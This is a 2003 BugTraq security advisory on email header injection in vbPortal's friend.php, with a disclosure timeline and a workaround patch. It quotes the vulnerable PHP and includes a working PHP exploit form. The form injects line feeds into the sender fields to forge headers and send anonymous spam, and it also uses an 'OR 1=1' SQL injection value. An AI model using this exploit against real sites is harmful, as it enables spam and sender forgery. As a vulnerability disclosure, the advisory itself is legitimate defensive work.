BugTraq
[SCSA-021] Anonymous Mail Forwarding Vulnerabilities in vbPortal Nov 22 2003 10:22AM
Gregory LEBRAS (gregory lebras security-corporation com)


======================================================================

Security Corporation Security Advisory [SCSA-021]

Anonymous Mail Forwarding Vulnerabilities in vbPortal

======================================================================

PROGRAM: vbPortal

HOMEPAGE: http://www.vbportal.com

VULNERABLE VERSIONS: 2.0 alpha 8.1 and Prior ?

RISK: Low

IMPACT: Allows Unauthorized Users to Send Mail Anonymously

RELEASE DATE: 2003-11-22

======================================================================

TABLE OF CONTENTS

======================================================================

1..........................................................DESCRIPTION

2..............................................................DETAILS

3.............................................................EXPLOITS

4............................................................SOLUTIONS

5...........................................................WORKAROUND

6..................................................DISCLOSURE TIMELINE

7..............................................................CREDITS

8...........................................................DISCLAIMER

9...........................................................REFERENCES

10............................................................FEEDBACK

1. DESCRIPTION

======================================================================

"vBPortal is a addon to the already popular message board software

called vB developed by www.vbulletin.com. vBPortal has came a

long way, and the new version 3.0 has a lot of great features and

functions. Intergrating phpnuke's functions and abilities to easily

add modules and addons has added greater abilities. Simply it adds

a frontpage, and utilizies vb's abilities and expands on that"

(direct quote from http://www.vbportal.com)

2. DETAILS

======================================================================

- Anonymous Mail Forwarding :

A vulnerability has been discovered in the friend.php file that

allows unauthorized users to send spam (junk mail) anonymously.

Vulnerable code :

<?

[...]

function SendStory($sid, $yname, $ymail, $fname, $fmail) {

global $sitename, $nukeurl, $prefix;

$result2=mysql_query("select title, time, topic from $prefix"._stories."

where sid=$sid");

list($title, $time, $topic) = mysql_fetch_row($result2);

$result3=mysql_query("select topictext from $prefix"._topics." where

topicid=$topic");

list($topictext) = mysql_fetch_row($result3);

$subject = ""._INTERESTING." $sitename";

$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname

"._CONSIDERED."\n\n\n$title\n("._FDATE." $time)\n"._FTOPIC."

$topictext\n\n"._URL.": $nukeurl/article.php?sid=$sid\n\n"._YOUCANREAD."

$sitename\n$nukeurl";

mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:

PHP/" . phpversion());

$title = urlencode($title);

$fname = urlencode($fname);

Header("Location: friend.php?op=StorySent&title=$title&fname=$fname");

}

[...]

function SendSite($yname, $ymail, $fname, $fmail) {

global $sitename, $slogan, $nukeurl;

$subject = ""._INTSITE." $sitename";

$message = ""._HELLO." $fname:\n\n"._YOURFRIEND." $yname "._OURSITE."

$sitename "._INTSENT."\n\n\n"._FSITENAME." $sitename\n$slogan\n"._FSITEURL."

$nukeurl\n";

mail($fmail, $subject, $message, "From: \"$yname\" <$ymail>\nX-Mailer:

PHP/" . phpversion());

Header("Location: friend.php?op=SiteSent&fname=$fname");

}

[...]

switch($op) {

case "SendStory":

SendStory($sid, $yname, $ymail, $fname, $fmail);

break;

[...]

case "SendSite":

SendSite($yname, $ymail, $fname, $fmail);

break;

[...]

}

?>

Both functions SendStory () and SendSite () send emails.

Two variables are (yname and ymail) modifiable in the headers.

An attacker can so inject what he wants, by using the character

LF (line feed), %0A in ASCII.

3. EXPLOITs

======================================================================

- Anonymous Mail Forwarding :

Here is an example of simple application that changes the mail via

variables ymail and fname.

We can here choose the sender, the name of the sender, the addressee,

the type of the message, the message and add a subject while having

the choice between both vulnerable functions.

<?

if (!isset($Send)){

?>

<form action="<? echo $PHP_SELF; ?>">

URL : <input type="text" name="url"><br>

From : <input type="text" name="from"><br>

Your Name : <input type="text" name="yname"><br>

To : <input type="text" name="fmail"><br>

Content Type : <input type="text" name="contenttype" value="text/plain"><br>

Subject To Add : <input type="text" name="newsubject"><br>

Op. : <br>

<input type="radio" checked name="op" value="SendSite">SendSite<br>

<input type="radio" name="op" value="SendStory">SendStory<br>

Message : <br><br><textarea name="message" rows="6" cols="50"></textarea>

<br><br><input type="submit" name="Send" value="Verify">

</form>

<?

}else{

echo "URL : ".$url."<br>";

echo "From: ".$from."<br>";

echo "Your Name: ".$yname."<br>";

echo "To: ".$fmail."<br>";

echo "Content Type: ".$contenttype."<br>";

echo "Added Subject: ".$newsubject."<br>";

echo "Message : <br><br>".str_replace("\n","<br>",$message);

if ($op=="SendStory"){ $sid="1%20OR%201=1"; }

$ymail=$from.">%0A";

$ymail.="Subject:".$newsubject."%0A";

$ymail.="Content-Type:multipart/mixed;%20boundary=Anonymous;";

$ymail.="%0A%0A%0A";

$fname="%0A--Anonymous%0A";

$fname.="Content-Type:".$contenttype."%0A%0A";

$fname.=str_replace("\n","%0A",$message);

$fname.="%0A%0A%0A";

$fname.="--Anonymous--";

$fname.="%0A%0A%0A";

$url.="/friend.php?sid=".$sid."&op=".$op."&yname=".$yname."&ymail=".$yma
il."&fmail=".$fmail."&fname=".$fname;

echo "<br><br><b><a href=\"$url\">Ok, Mail It</a></b>";

}

?>

Let us remind that the user chosen in the request of this exploit

(the first registered) will receive too a copy of the mail,

because an addressee was already defines.

Ours will come to add later.

4. SOLUTIONS

======================================================================

You can found a patch at the following link : http://www.phpsecure.info

Version 3.0b have been fixed

5. WORKAROUND

======================================================================

For Version 2.0 alpha 8.1 add simply the following line in

friend.php file just before "switch($op) {" :

------SNIP-------

if (eregi("\n",$yname) OR eregi("\n",$ymail) OR eregi("\r",$yname) OR

eregi("\r",$ymail)){

die("Patched");

}

------SNIP-------

6. DISCLOSURE TIMELINE

======================================================================

12/11/2003 Vulnerability discovered

12/11/2003 Vendor notified

12/11/2003 Vendor response

13/11/2003 Security Corporation clients notified

13/11/2003 Started e-mail discussions

21/11/2003 Last e-mail received

22/11/2003 Public disclosure

7. CREDITS

======================================================================

frog-m@n <frog-man (at) security-corporation (dot) com [email concealed]> is credited with this discovery

8. DISLAIMER

======================================================================

The information within this paper may change without notice. Use of

this information constitutes acceptance for use in an AS IS condition.

There are NO warranties with regard to this information. In no event

shall the author be liable for any damages whatsoever arising out of

or in connection with the use or spread of this information. Any use

of this information is at the user's own risk.

9. REFERENCES

======================================================================

- Original Version:

http://www.security-corporation.com/advisories-021.html

- Version Française:

http://www.security-corporation.com/index.php?id=advisories&a=021-FR

10. FEEDBACK

======================================================================

Please send suggestions, updates, and comments to:

Security Corporation

http://www.security-corporation.com

advisory (at) security-corporation (dot) com [email concealed]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus